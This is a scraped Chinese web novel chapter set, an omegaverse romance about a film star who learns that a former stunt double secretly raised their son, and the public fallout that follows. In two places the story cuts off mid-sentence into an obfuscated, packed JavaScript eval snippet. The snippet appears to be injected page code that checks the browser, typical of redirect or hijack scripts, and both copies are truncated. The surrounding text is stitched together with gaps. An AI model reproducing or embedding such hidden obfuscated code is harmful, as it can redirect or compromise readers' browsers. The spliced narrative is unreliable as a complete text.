《生了影帝的仔之后被他封杀了》 1. 这就是我的孩子? 当方洛汶用干净的信封装着几个小密封袋跑出公司大堂,狂奔到街边钻进邢再洺的保姆车时,这位西装革履的三十七岁金熊影帝正翘着二郎腿坐在座椅上,面色冷峻地抓着手机,反复翻阅几张清晰的抓拍照。 照片里,一个小男孩被奶奶牵着手,约莫三四岁的样子,眉眼灵动、容貌俊秀。 见他连领带都一丝不苟地系上了,经纪人方洛汶不禁气结,“啧”一声道:“不是叫你穿休闲服么,你怎么全副武装啊?……咱们今天是去和谈,不是去下最后通牒的!” “和谈什么?”邢再洺那双仿佛冷血动物一般的狭长眼眸森冷地滑向她,薄唇讥讽地一扯,声音像是从牙缝之间挤出来的:“他那么胆大包天,擅自生下我的孩子,偷偷养到四岁!我还要跟他好声好气的吗?” 方洛汶放好包包,一边捆安全带一边不咸不淡地轻哼一声:“……说得好像是人家逼着你跟他上床的一样。” “——那我也不知道他这么不守规矩啊!”将手机往座椅扶手上用力一拍,邢再洺怒气升腾,英俊而成熟的面庞覆满冰凌:“在这个圈子里,大家不都心知肚明么?露水姻缘罢了,置换一下资源、解决一番需求,约定俗成的事!谁像他靳若飞这样,闷声不吭就生个孩子出来的?!” 他口中的“靳若飞”是一个名不见经传的十八线Beta小明星,动作替身出身,近两年才勉强混出点名堂,出演了几部电视剧的小配角,走在路上恐怕都没人认识。 然而,两天前狗仔队偶然拍到的几张照片却让他出了名——原因无他,只因为照片中那个相貌俊秀的小男孩,活脱脱就是他和影帝邢再洺的融合版。 “眉眼跟你一模一样。”翻阅着那几张照片,方洛汶不禁又感叹了起来,“你这双眼睛,娱乐圈独一无二——太明显了,想忽视都没办法!鼻子和嘴巴倒是像靳若飞,略微清淡些,看上去有点儿倔强。” 她的语气颇为柔软,听得邢再洺心生烦躁,忍不住道:“汶姐,你是不是想当奶奶了?你要是想带孙,赶紧让你儿子结婚生一个!省得你看见孩子就走不动道!” 拿起ipad在他头上轻轻砸一下,时年五十一岁的Beta阿姨气狠狠地白了他一眼。 . 车子在快环上飞快地行驶着,赶往那几张照片的拍摄地点——一处位于江边的商住式公寓。 那地方据说租住着许多网红,也有几个明星刚来申城打拼时把房子买在那里,但赚到钱后很快就会离开——毕竟是商住式公寓,虽然价格便宜,但限制较多,住起来到底是不如正经住宅舒服。 ……靳若飞好像就是买的那里的房子。前几日狗仔队明明是在蹲守另一个新晋小花的绯闻,却恰好看见他妈妈带孙子出来遛弯。那张与邢再洺极为相似的脸令狗仔大为惊讶,立刻拍下照片,当做巧合发到了网上。 却不料,神通广大的网友很快便扒出孩子的爸爸是十八线小演员靳若飞,接着又扒到了一张他与影帝邢再洺同框的剧组杀青照——五年前,他们居然出演了同一部剧!只不过一个是领衔主演,一个是动作替身。 答案呼之欲出。 “现在网友们都幸灾乐祸呢,说你入行之后,顺风顺水二十年,现在却在阴沟里翻了船。”翻阅着网上的评论,方洛汶不紧不慢地笑笑,又嫌弃地夹他一眼:“让你以前那么不近人情、吹毛求疵!现在出了事,都没人帮你说话!” “我不需要谁帮我说话。”十指交叉,倨傲地搭在身前,邢再洺不在乎粉丝和业内人士如何看自己,他现在满心想着的,只是那个胆大包天的家伙: “倒是靳若飞……我确实是看走了眼!当年看他在片场那么认真,我以为是个脚踏实地的人,还把他引荐给莫问川导演。没想到,他跟那些投机取巧的家伙没什么两样,一肚子的弯弯绕!” 亏自己当年还想着,以后这小孩儿混出了名堂,两人说不定能再碰面。可自从某个晚上之后,这人就像刻意避开似的,愣是没有再出现在自己眼前!……现在想想,原来他是做了亏心事,心里发虚,才想方设法地东躲西藏。 冷笑一声,邢再洺望着前方逐渐清晰的公寓大楼,面色冷峻:想利用我的名气给你抬轿子?……呵,也要你消受得起才是! . 走进公寓大楼,乘坐电梯直上十六层,方洛汶背着包包站在他身旁,一路上不停叮嘱:“你少开口,知道吗?再生气也别急眼,凡事让我来交涉……” 中途电梯停在其他楼层,走上来一个omega女生。对方看见邢再洺的脸,震惊地愣了一下,瞪着眼不敢说话。高大成熟的Alpha则目不斜视地望着前方,面无表情,一双冰冷澄明的眼兀自杀气腾腾。 到达十六楼,二人走出电梯,沿着有些狭窄的走廊来到1607室。邢再洺拧眉打量一番墙上那些美容整形的小广告,面露嫌弃。这时,方洛汶按响了门铃。“叮咚叮咚”的铃声响在门里,走廊上也听得一清二楚,看来这门的质量不怎么样。 都是些粗制滥造的玩意儿。邢再洺心想。 几秒之后,砂黑色的钢质门“吱呀”一声轻轻打开,门后露出一张颇为清俊的白皙面庞。 那双微微下三白的吊梢眼如邢再洺印象中的一样,乍看略有些桀骜,可眼中的神情却是谨慎而讷言的;眉毛不算浓,长长地斜飞向鬓角;鼻背略有些细,菱形嘴唇抿成一线,下巴尖削精巧,身形精瘦颀长——宛如一只初出茅庐的小豺。五年过去,他依旧没有褪去当年的青涩与少年气。 眸色倏地变得幽暗,邢再洺的眉头忍不住用力地压了下去。 仿佛被这锋利的视线刺伤,靳若飞仓促地垂下眼帘,声音含糊而飘忽:“……进来吧。” “哎,好。”方洛汶说着,用力拽一把邢再洺,跨步走了进去。 一百一十二平的三室两厅干净而整洁。明亮的光线之下,原木色的家具显得有些单薄,配上雪白的墙壁和胡桃色的木地板,整间房子看上去过于素净寡淡了,完全不像住了个将近四岁的小孩子。 拉着邢再洺坐到沙发上,方洛汶刚收回打量的视线,就见靳若飞端着两杯茶水走了过来。 放下水杯,这个二十八岁的beta男性端正地坐到他们对面,眼帘低垂,一副接受审判的模样。 方洛汶刚想让他放轻松点,就听得邢再洺在边上冷冷地“嗤”了一声。无法,她用手肘暗暗撞邢再洺一下,随即露出公式化的笑容,不疾不徐道: “靳先生,今天我们来呢,主要是跟你商量一下这件事应该怎么处理。目前外界的所有人都认定孩子的父亲是邢再洺,我们对过了时间线,事实大概率也是如此。在今天拿到孩子的头发毛囊去做亲子鉴定之后,情况如若属实,你这边……有什么诉求呢?” 靳若飞像一个接受批评的中学生般正襟危坐,双手轻轻扣着大腿的布料,面色苍白,自始至终不敢看邢再洺一眼:“……我没有什么诉求。” 他低哑地说着,宽而瘦削的肩膀微微耷拉,宽松T恤下的清瘦身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邢再洺定睛一看,只见那双跟自己十分相似的眼眸湿漉漉地睁大,努力瞪住自己,一副勇敢无畏的模样。可不停发抖的肉脸蛋却出卖了他的真实情绪——他明明害怕得不得了。 “潇潇!”轻呼一声,靳若飞紧张地把儿子搂进了怀里。望着这个未满四岁的孩子,邢再洺苛责的神情凝滞一瞬,不由自主地和缓了些,但眉心依旧紧紧蹙着,一副冷厉的模样。 那个叫“潇潇”的孩子被注视得颤抖一下,喉咙里不由泄出了呜咽:“呜……你、你不要欺负我爸爸!” 被他控诉得面色一沉,邢再洺下意识“啧”一声,正要说什么。一旁的方洛汶赶忙眼疾手快地捂住他嘴,把人用力拖了起来: “靳先生,要不今天先这样吧?等亲子鉴定出来之后,我们再电话交涉——或者你也可以加我联系方式,随便怎么样都行!再联络吧,好吗?” “……等等。”用力搂着儿子,靳若飞面色苍白地抬起头,低声叫住了她:“潇潇的头发,还没有给你。” 他从兜里摸出一个小小的密封袋,里面装着几根纤细的头发,远远地伸长手递过来。 方洛汶短促地松开邢再洺,快步奔过去抓进手里,又着急忙慌地跑回去,拖住这个毒舌的金熊影帝往外走,仿佛怕他再说出什么难听的话:“我们先走了,你保重!” 拉拉扯扯地走到玄关,邢再洺窝火地抽出胳膊,用力扭开大门。在跨出门槛的一瞬间,他听见那个孩子呜咽着跟靳若飞小声控诉了一句:“呜……他好凶,我不想让他当我的爸爸……” ——我还不想有你这么个胆小怯懦的儿子呢! 邢再洺不屑而冷酷地这样想。 2. 抚养协议 影帝先生前脚刚离开公寓大楼,后脚就有人在网上透露了他此次的行程:“你们猜我刚才在电梯里遇见了谁?……邢再洺啊!他应该是来跟靳若飞协商怎么抚养孩子的。” 一石激起千层浪,网友们一个个精神抖擞,看热闹不嫌事大地讨论起来: “不是,确定是他的亲生孩子了吗?这件事好像还没有定论吧。” “一般不都要先做个亲子鉴定的吗?” “要做的。我有一个朋友在娱乐杂志社跟踪这条新闻,他们组长联络华视的时候,邢再洺的助理回复说,明天或者后天会发布正式的回应公告。” “哇!”网友们揶揄地感叹,“影帝就是影帝,干净利落、大大方方。不像某些小明星,出了事就知道藏着掖着。” “那没办法,小明星还得在圈子里混呀。影帝已经成为资本了,即使名声不好,他也能靠投资赚钱。” “啥,意思是,以后看不到我洺哥的新电影了?” “他现在好像是华视的股东之一吧?哪天华视的项目要是全扑街了,估计他就出山了。” 他们兴致勃勃地讨论着,突然有人道:“邢再洺这边树大根深,这点小风波撼动不了他,但靳若飞就难办喽~我怀疑,他以后还能不能在圈子里混下去都成问题。” “那没办法,愿赌服输。他既然敢做这种事情,那就要承担相应的后果。” …… 看着网上的这些讨论,靳若飞木然坐在餐桌旁,手脚僵硬、动弹不得。五月的天气如此温暖,他却只感觉到一股彻骨的冰冷,沿着脊梁弥漫至全身。 良久,他退出网页,点开某个微信对话框,对话框顶部写着“唐瑞选角导演”几个字。试探着发去一句,“唐哥,那个配角的人选,定下来了吗?”等待许久,对面却一直没有回应。 最担心的情况似乎正在变成现实。 正迷茫着,妈妈做好了晚饭,小心翼翼地把菜肴端到餐桌上。见他面色惨白,五十二岁的omega女性不禁垮下肩膀,又露出了自责的神色:“小飞,都怪妈妈!要是那天,我不带潇潇下楼玩,事情就不会变成现在这样……” 疲惫地闭上眼,靳若飞的声音十分无奈:“妈,这事不怪你,你就别再自责了。说到底是我考虑得不够妥当,不应该把房子买在这里……你别胡思乱想,这阵子就好好陪潇潇吧。我大概率又要开始跑剧组了,可能顾不上他的。” 看着儿子眼下的青黑,秦丽君苦涩地抿抿唇,放下碗筷,转头去卧室叫孙子起床吃饭。 小家伙下午时被邢再洺吓到了,断断续续哭到四点多才睡着,这会儿还在睡。 出事那天恰逢星期五,他在幼儿园没察觉什么,周末在家倒是感觉到不对劲——爸爸和奶奶忧心忡忡地凑在一起小声说话,自己一靠近便闭紧嘴巴。小家伙本就是个敏感的性子,这两日就一直惴惴不安的,饭也吃得少了。 “不跟潇潇说吗?”秦丽君忧心地问儿子。 “不了吧……?”靳若飞有些犹豫,“邢再洺大概率不会认他的,说了也没意义。” 可当两人心虚地走进房间里看他时,靳宇潇小朋友却不知从哪儿拿到了奶奶的手机,在抖音上刷到了一个视频:“太震惊了~影帝邢再洺居然有一个四岁的私生子?近日,有人拍到十八线小演员靳若飞的儿子,长得跟邢影帝一模一样……” 望着屏幕上自己的照片,小家伙怔忡地抬起脸庞,嘴唇瘪着,好像要哭了:“我……我不是爸爸的小孩吗?” 靳若飞懊恼地把他抱进怀里,不得不说了实话:“其实……我是你的妈妈,不是爸爸。潇潇的爸爸是个大明星——喏,就是他,你看帅不帅?” 还有两个月才满四岁的靳宇潇小朋友看着视频中那个高大、帅气、成熟的Alpha,大眼睛里不由露出一丝惊讶和茫然:“他是我的爸爸……?” 望着儿子隐约透出向往的眼眸,靳若飞的嘴边不禁露出一丝苦笑:“对,他是你的爸爸。” ……只可惜,小家伙的憧憬被邢再洺鄙夷而冷酷的话语打碎了。 轻柔地把孙子叫醒。靳宇潇睡得迷迷糊糊的,但还记得下午的事情:“那个凶巴巴的叔叔走了吗?” “走了,他已经回去了。”秦丽君心疼地用湿毛巾擦去孙子脸上的泪痕,自责的情绪又漫了上来:“咱们去吃饭,好不好?奶奶做了你爱吃的可乐鸡翅。” 似乎是回想起邢再洺那张威严凶恶的脸,靳宇潇瑟缩一下,用力搂紧了奶奶的脖子:“唔,好……” . 亲子鉴定的结果最快也要24小时才出来。晚上九点多,邢再洺坐在自家阳台的躺椅上,斜眼瞥着手表上缓慢旋转的指针,心里感觉到一阵焦灼。 ……那真是我的孩子吗? 将杯子里的酒一饮而尽,他忍不住回想五年前第一次见到靳若飞时的场景——那时他在拍摄一部内地与港资联合出品的警匪片。靳若飞好像刚二十三岁,专门给剧中男二号做特技替身。他贴了纹身贴,还配合对方染了头一模一样的黄色短发,看上去青涩得很。 那个演员是资方塞进来的,咖位不大,架子倒不小:跳水戏不想拍,追逐戏也不想拍,甚至连一些露脸的片段都想让靳若飞顶上:“把镜头拉远一些就看不出来了嘛!” 有一次好巧不巧,他这话被邢再洺听到了。对演艺事业极度认真的新科影帝当即把剧本往桌上一摔,狭长眼眸冷冷地斜过去:“你不如把你这个角色也让给人家?!——不想演就滚,剧组的保洁都比你有用!” 对方敢怒不敢言,一甩手羞愤离去。剩下靳若飞手足无措地站在那儿,走也不是、留也不是,尴尬极了。 邢再洺对他倒是有点儿印象。这个年轻人拍戏认真、勤勉好学,没有拍摄场次的时候也留在片场,帮忙做一些力所能及的事,又或者专心地观察别人如何演戏。 招招手叫他过来,邢再洺将这个紧张而青涩的年轻人上下打量过一遍,问:“你条件不错——有没有想过当真正的演员?” “想!”靳若飞专注地看着他,双眼闪闪发亮,那模样像一只刚成年的小豺:“我很想当演员!” 对于努力上进的后辈,邢再洺总是愿意拉拔的。他当即让助理找出一张自己的名片,写上动作片导演莫问川的联系方式:“等这部戏拍完,你去找莫导演,他那儿缺身手好的演员。一开始估计不会给你特别好的角色,但演个小配角是没问题的……你能接受吗?” 双手接过这个来之不易的机会,靳若飞那张白皙的脸涨得通红,两只眼睛亮得仿佛天上的星星。 ……又喝一口酒,邢再洺的手指轻轻敲击着杯壁,想起了他那身过分白皙的皮肤。 隐约记得,那家伙兴奋的时候,身上的皮肤也会变得通红。 那部电影杀青之后,庆功宴上,邢再洺喝得有些醉了,觉得气闷,便到酒店花园里透透气。不料,染回黑发的靳若飞期期艾艾地跟了出来,问他是不是难受?说着,反手摸出一颗桔子剥给他吃,“桔子能解酒。” 看着他略显紧张的热切目光,邢再洺似有所感,不疾不徐地走到他身前,就着那只僵硬的手吃下一片桔子,又攥住了他的手腕。 一切都在不言中。 靳若飞有些瘦,不是干瘦,而是那种年轻的、充满活力的精瘦。常年替身的身体上有许多伤,新的旧的,大的小的,像暗紫色的花一般零星散布在皮肤各处。体温上升之后,白皙的底色会慢慢变得粉红,仿佛打泼了什么酒液,暧昧的颜色四处流淌。 这种青涩的色彩勾得邢再洺难以自控地做了三次——三次都没有戴套。 他以为靳若飞安分守己、老实本分,不会算计自己;也觉得以beta男性的体质,应该不那么容易怀孕……却没料到,他栽在了自己的掉以轻心上。 望着阳台外面深沉的夜色,邢再洺想到下午时靳若飞苍白的面色,不由冷冷地轻哼了一声。 . 第二天下午三点,经济人方洛汶打来电话:“亲子鉴定结果出来了,靳宇潇是你的亲生孩子。” 最后一丝侥幸被打破,邢再洺的心反倒沉定了下来,情绪肆无忌惮地变得残忍而冷酷:“孩子的抚养方面,那家伙有跟你提要求吗?” “没有,他说由我们来定。” “好,既然这样,那每个月给他一笔抚养费就行!……法律规定的抚养费标准一般是多少钱每个月?” 对面的方洛汶似乎翻了一个白眼,叹气道:“三千块。” “三千?想不到还挺低的。”嗤笑一声,邢再洺道:“那我每个月给他一万块,仁至义尽了。除此之外,孩子的任何事情我都不会管。我不去招惹他,他也别来招惹我。等孩子满十八岁之后,我们就再无干系。” 默默地记下来,方洛汶沉吟一会儿,发了个文件给他:“这是公关部草拟的回应公告,你确认一下。没什么问题的话,四点钟我们就发出去。” 冷淡地点开文件,内容不算长,三百多字,没几秒 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满不在乎的讨论引出肆无忌惮的质疑。在“影帝”和“十八线小演员”的巨大差异下,大多数人会选择站在邢再洺那边,以求在后续的讨论中保持胜利的姿态。 . 公告发出后,影帝工作室的行动十分迅速,很快问靳若飞要了银行卡号,将孩子零到四岁的抚养费打了过来——整整四十八万,一分不多,一分不少。 看着银行短信通知里的数字,靳若飞咬着唇,这几日被啃得光秃秃的指甲不禁用力摁着屏幕,直到将钢化膜压出了一个放射状的裂纹。 霎时间,他有一种把这笔钱退回去的冲动。 这几日,网上的舆论像海啸一般铺天盖地而来,鄙夷有之、奚落有之,汹涌之态令他不得不关了手机,像乌龟一般缩进壳里。 只有在夜深人静时,把儿子哄睡之后,他才能鼓起勇气,小心翼翼地打开手机、查看微信,祈祷一个能振奋人心的消息。 然而,他等来的却是选角导演无奈的回绝。 “小飞啊,我知道你很认真,身手也好。但现在出了这个事情……制片方要考虑电影上映后的影响,实在是不敢冒险啊。而且,他们下一部电影还想拉华视的投资呢。目前这个情况,只能放弃你了。” 不由咬紧下唇,靳若飞麻木地呆坐着,想起自己身上背的房贷、车贷,以及家人的生活费用、妈妈的医药费、潇潇的学杂费……他苦笑一声,只得将那四十八万收了下来。 第二天,靳若飞逼着自己打起精神,开始一个个联络以前攒下的人脉,求他们给自己一个角色。 他其实没抱什么希望。毕竟娱乐圈是个习惯于锦上添花的地方,落难之时别说雪中送炭,不落井下石都算好的了——果不其然,自己的每一个电话、每一条消息都石沉大海。他不是什么重要的人物,没人会为了他与华视和邢再洺对着干。 看着通讯录里那一长串无动于衷的名单,靳若飞呆呆地上下滑动着,视线最后落在了“莫问川导演”几个字上。 ……当年生育之后,他拿着邢再洺给自己的名片找到莫导,成功地在他那儿谋到了一个能露脸的小角色。合作过一次之后,莫导很满意他的认真与拼命,又接连让他出演了两个配角。 只可惜好景不长,莫导家里人生了重病,他暂停工作回家照顾,二人只得分道扬镳。分手之时,莫导还好心地给他介绍了另一个剧组,并道:“说不定以后咱们还有机会合作。到时候你要是出了名,可不能拒绝我。” “怎么会呢?我一定以莫导为先!”靳若飞诚惶诚恐,自然是满口答应。 ……如今两年过去,自己倒是真的出了名——只可惜是臭名。 苦笑一下,他看着莫问川导演的名字,犹豫良久,最后还是试探地发了一条信息过去:“莫导您好,我是靳若飞。听说您前阵子开工了,我想问问有没有活儿做?不管是配角、群众演员还是替身,我都可以干!希望您给个机会。” 紧张地等待了约莫半个钟,突然“叮咚”一声,对面回复过来一条语音。 靳若飞顿时剧烈地喘息出声,迫不及待地点开——莫导的声音带着些疲惫的嘶哑,在杂乱的背景音中听得不甚清晰:“等会儿我发个地址给你,你明天下午过来吧!我离你不远呢,就在申城城郊。” 靳若飞精神大震,立即回复道:“好,明天我一定过去!” 3. 他人的奚落 长华影视产业园坐落在申城的东郊,产业园内共有八个3000平方米、层高24.5米的标准影视棚,四个6000平方米的置景车间,两个3000平方米的道具仓库。靳若飞于下午两点开车赶到此处,转了好一会儿才找到莫导所在的二号影视棚。 东张西望地走进去,一路上他途经数个忙乱的剧组,又撞到了三个人,终于在棚子角落看到了头发已变得花白的莫问川导演。 莫导是拍警匪片出名的,执掌过两部大受好评的刑侦电视剧,后来又陆续拍了些悬疑片、武侠片,涉猎颇为广泛。两年未见,他原本潇洒的半长发剃成了寸短的造型,本就瘦削的脸上多了好些皱纹。 看见他略显疲惫的侧颜,靳若飞深吸一口气走上前,毕恭毕敬地打招呼:“莫导,好久不见!” 回头看见他,莫问川“啊”一声,恍惚神态好似有些怀念:“小飞!你来啦。” 片场内纷繁杂乱,正在更换布景和灯光,吵吵嚷嚷的。他招手把靳若飞唤到身前,见这孩子好奇地打量了两眼略显简陋的布景,便叹口气,自嘲地道:“我现在在拍网络剧……大不如前了,是吧?跟以前没法比。” 靳若飞收回视线,望向莫导略显失落的神情,沉吟一秒,道:“项目无大小。那些所谓的大制作,我也看不出有多高明。” 一句话把莫导逗得笑起来,叫助理递过一张凳子,唤他坐下:“来……跟我说说,这两天的新闻是怎么回事?” 五十九岁的beta男导演神情关切,眼神中没有任何评判的意思:“原来你是妈妈,不是爸爸?……当年你拿着名片来找我时,是已经坐完月子了?” 他问得略有些直白,靳若飞干笑一声,薄薄眼帘躲闪地垂了下去:“……嗯。那时候孩子已经半岁,给他断奶之后,我就赶紧出来工作了。” “原来如此。”看着他略显生涩的清冷面容,莫导感慨地叹口气,语调变得语重心长:“你也是太莽撞了,贸贸然就生个孩子出来……你是喜欢邢再洺吗?还是觉得beta的孩子来之不易,所以舍不得打掉?” 默默地被噎了一下,靳若飞略有些尴尬,沉默了好一会儿,才蚊哼似的道:“……二者皆有吧。” 一些事情只要沾上“喜欢”便难以评判了。冲动、一厢情愿、孤注一掷,你可以责怪他不顾后果,但却不好鄙夷他的动机。甚至此时此刻,看着这个事情败露后被拍到谷底的年轻人,莫导也没有在他脸上找出类似于“后悔”的情绪。他就那样静静地坐着、承受着,于冷遇中尽力寻找别的出路。 “哎……”不禁长叹一口气,莫问川无奈地看着他,语重心长道:“邢再洺跟我有点儿交情,我不好说他什么。但是小飞啊,我必须提醒你,不要把崇拜和喜欢混为一谈。” “在这个圈子里,崇拜一个人很正常,但你最好不要靠近他,也不要跟他产生什么联系。不然你很快会发现,他其实也没有那么好——不过是一个好看点儿、有点儿天赋的普通人罢了,他也有臭脾气和乱七八糟的缺点,跟你、跟我,都没有什么两样。” 莫导说得苦口婆心,靳若飞神情黯淡地点点头,看着像是听进去了。只可惜,这劝告来得太晚,他只能默默地记下,祈祷未来不要重蹈覆辙。 . 这次拜访,莫导的剧组虽然快杀青了,没能给靳若飞谋到一个差事,但他帮忙推荐了另一个剧组。 “那边在拍一个动作犯罪电影。”给靳若飞介绍时,莫导脸上露出了艳羡的神情:“阵仗挺大的,很缺有经验的动作替身!我给张导打个招呼,你明天就过去吧!好好表现,我相信你肯定能咸鱼翻身的。” 谢过莫导,当天晚上回到家,靳若飞便给那位张导打了一个电话。对方对他的履历颇为赞赏,但语气始终不咸不淡的,不知是个性如此,还是对他抱有成见:“还行,挺好。你明早九点带上身份证和健康证去制片部门报道,越快越好。下午四点有一场重头戏,很缺替身,你尽量赶上。” 靳若飞顿时精神抖擞,振奋地应了下来:“好!” 第二天下午,还没到两点,靳若飞就办好报到,火速赶到了剧组的拍摄地点。 当看到那热火朝天的片场时,他终于明白,为什么昨天莫导会露出那样艳羡的神情—— 规模宏大的布景、繁忙但井然有序的各色工作人员,高大的摇臂摄影机从头顶晃过,爆破团队在用对讲机与小组成员确定着每一个爆破点……有那么一瞬间,他仿佛回到了三年前那段忙碌而充实的时光。那种被工作用力推着往前走的日子,着实让人怀念。 见他来了,年仅四十二岁的张导也不啰嗦,径直把他派到动作组:“你就听林哥的,他让你干什么,你就干什么。” 看着那位精神矍铄、身材劲瘦的林哥,靳若飞隐约觉得眼熟,就一边听他介绍下午要拍摄的场次,一边默默地打量思索。林哥被他看得浑身发毛,半晌忍不住问:“怎么,你认识我?” 靳若飞赶忙肃立,毕恭毕敬地道:“林哥,你是不是在六爷的团队里待过?” “六爷”,当今娱乐圈第一武术指导,大名赵和祥,现年七十五岁。经他指导的动作大片数不胜数,老爷子也间接地为圈内培养了许多动作指导人才。 靳若飞这样一问,那位林哥不禁露出骄傲的神情,暗爽道:“你眼力倒是不错。” 靳若飞的眼里顿时充满了艳羡:“我看过六爷的个人纪录片,所以有些印象!” 忍不住上下打量他一眼,林哥略有些诧异,似乎没想到这个在娱乐圈引起轩然大波的人实际上是如此的恳切热忱。就在他思索着应该给靳若飞安排哪个高难度动作时,一旁的演员帐篷里,突然传来一个奚落的高亢声音:“哟,这是谁啊?……这不是邢影帝孩子的妈妈吗!” 这句话刺耳而嘹亮,瞬间,方圆十米内的所有人都望了过来。 沐浴在众人神情各异的注视下,靳若飞全身的肌肉都难堪地绷紧了,一时间没敢回头望。可那人不依不饶地又喊一声:“干嘛不理人?是我声音太小,你没听见吗?” 深吸一口气,靳若飞不得不扭头望去——只见一个俊美纤细的omega男生优哉游哉地坐在帐篷里,正一边喝咖啡一边看剧本。对方好像是一个三线演员,长着一双漂亮的桃花眼,神情趾高气昂。靳若飞感觉眼熟,但他不大关注人气偶像,所以不记得名字。 不过对方似乎也不在乎他认不认识自己,兀自笑吟吟地拿他寻开心:“怎么跑来这儿来当动作替身呀,不是都攀上影帝了吗?我还以为你能捞到一个大制作的主角呢!” 靳若飞视线躲闪地看着他,浑身仿佛针扎一般,窘迫而僵硬。林哥在一旁也感到尴尬,有心帮他解围,但又怕得罪了这个资方塞进来的主演。于是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来到动作替身的准备帐篷里,林哥示意他把T恤掀起来,露出小腹,方便绑扎护腰,同时叹气道:“李弦雨就是那样,仗着有靠山就指指点点的,剧组所有人都烦他……不过他那金主投资了一大笔钱,你就忍忍吧。” “嗯。”靳若飞平静地垂下眼帘,仿佛司空见惯了:“我知道的。” 戴好护腰、护膝,又稍稍热过身,林哥就带着他来到一处布景前,给他讲解需要做的动作:“这个剧情是你从楼里跑出来,有人开车接应。但是情况紧急,你没时间打开车门,就端着枪直接从车窗里跳进去……” “好,好,”靳若飞认真地点头,“我知道了。” 伸手接过道具枪,他深吸一口气,走到远处,双目直视着正前方黑色奥迪。不远的地方,张导、副导演和林哥一字站开,那个叫李弦雨的omega男演员甚至掏出了手机,聚精会神地将镜头对准他,等待着自己期盼的画面。 缓慢起步、加速奔跑、再加上适当的演绎,靳若飞瞬间变成了一个仓皇逃窜的亡命之徒。他脸上带着急切而懊丧的表情,疾速奔至奥迪车侧面,随后脚下一跃——宛如一只灵活的猫,他的双腿和腰胯准确地穿进车窗,再一缩上半身,整个人便稳稳当当地坐到了副驾驶上。 “好!”林哥不禁激动地一拍掌,两眼顿时熠熠发光!张导和副导演相互对视一秒,也深沉地点点头,神情颇为满意。只有那个李弦雨没滋没味地轻哼一声,收起手机,扭头便走。 喘息着坐在车里,靳若飞看见林哥在远处疯狂地朝自己竖大拇指,脸上终于放松地笑了笑。 紧接着,一股疼痛传来。他低下头,掀起T恤下摆、解开护腰,只见刚才被车窗卡到的侧肋浮现出一块淡淡的藕红色——他被撞伤了。 咬咬牙,把护腰原封不动地捆好,靳若飞轻吸一口凉气,面色镇定地打开车门,若无其事地走了出去。 4. 奶奶发话 在邢再洺“私生子绯闻”甚嚣尘上的这段时间,华视方面一直安安静静的,完全放手让他自己处理——原因无他,这阵子恰逢公司高层新老交替:华视六十五岁的老板陆其明退休了,他的儿子陆庭风走马上任。最近忙得要命,正在一个一个地找股东和旗下的八个影帝影后聊天呢。 公告发布后的第五天,新老总的电话终于打了过来:“洺哥,洺哥洺哥~” 今年刚满三十一岁的Alpha男性有着一把戏谑而悠扬的声音,听上去老神在在的,仿佛在谋划着什么:“有空来公司吗?我这里有好茶,过来喝一杯呀。” 邢再洺大概猜到他在打什么主意,眉毛不动声色地一挑,应了下来:“好,我马上出发。” 一个钟后,他走进总裁办公室,一进门就看见方洛汶和西装革履的新老总坐在茶几边上,正相谈甚欢。 听见动静,陆庭风眼帘一抬,桃花眼中露出意味不明的笑容:“洺哥到啦!来,坐坐坐!” 邢再洺不疾不徐地走过去,坐下,视线一直没离开新老总的眼眸:“小陆总不忙了?今天居然有空找我喝茶。” 一般人没几个能扛得住他这样直接的注视,这位小陆总却轻而易举地接了下来,还游刃有余地笑笑,给他倒了杯茶: “再忙也要找洺哥聊天啊,是不是?前阵子那个新闻爆出来,我爸忙着跟我交接,都没顾得上帮你保驾护航。现在事情虽然过去了,但还是不可避免地造成了影响……我想着,还是得跟洺哥商量一下,看看怎么挽回形象。” 挽回形象?敏锐地眯起眼,邢再洺也不跟他绕弯子,径直问道:“公司最近要办什么公开活动吗?还是有什么严苛的好本子在挑演员?” “难道没有活动,咱们就放任舆论发展了吗?”笑吟吟的视线中终于露出一丝郑重,认真起来的Alpha显示出超出年龄的成熟,意味深长地冲他挑了一下眉:“洺哥,你常诟病某些老牌导演躺在功劳簿上高枕无忧,你又何尝不是这样呢?” 闻言,邢再洺立刻控诉地望向经纪人汶姐,神情不满。方洛汶则淡定地一耸肩:看我干嘛?你说这些话时又没有避着人! 接着,陆庭风拿出公司去年的财报和上半年的几个项目总结,不紧不慢地推到了邢再洺面前:“……这些东西,洺哥应该看过吧?去年公司的营收同比下降了27%,成本却上升了32%——增加的绝大多数都是宣传费用。洺哥,难道你没发现,你们这几个影帝影后的号召力下降了吗?” “是我们的号召力下降了吗?”邢再洺不为所动地靠在沙发里,双肘从容地搭在两侧扶手上:“难道不是故事情节老套、剧本不够扎实的原因吗?……小陆总,你前几年在体育行业摸爬滚打,可能不大清楚。如今公司的项目相当冗余,片场不规范的行为数不胜数,拍摄过程拖延、混乱,设备损耗也愈发严重。你说成本上升了,这可不仅仅是宣传的问题。” 仿佛预料到他会提这件事,陆庭风了然地同方洛汶对视一眼,表情又变得笑吟吟的:“项目要优化升级,但你们的号召力也要想办法提升一下嘛!就像这次突然爆出个孩子,直接把你高大冷峻的形象给击穿了。这样肯定是不行的呀?” 望着他黄鼠狼一般的笑容,邢再洺明白,这人心里已经有了打算:“小陆总意下如何?” “我在想——”陆庭风两眼弯弯,“两个月后,翡翠台的招牌亲子综艺开机,不如,你带你那小孩儿去刷个脸?” 翡翠台?亲子综艺节目?……邢再洺瞬间黑了脸。 “小陆总,你不知道我跟翡翠台有过节吗?”邢再洺面若冰霜,陆庭风却不以为然:“过节而已嘛,又不是深仇大恨,对不对?他们需要收视率,你需要塑造一个好爸爸的形象,双方各取所需,有何不可呢?” “各取所需?”冷哼一声,邢再洺神情依旧冰冷,“……小陆总,你知不知道我像这样的知名演员,上综艺是一件自取灭亡的事?演员是要跟观众保持距离感的。我本来就不是亲切的风格,何必要跟一个我不期待的孩子上演什么父子情深呢!谁知道那俩人会不会像狗皮膏药似的黏上来……” 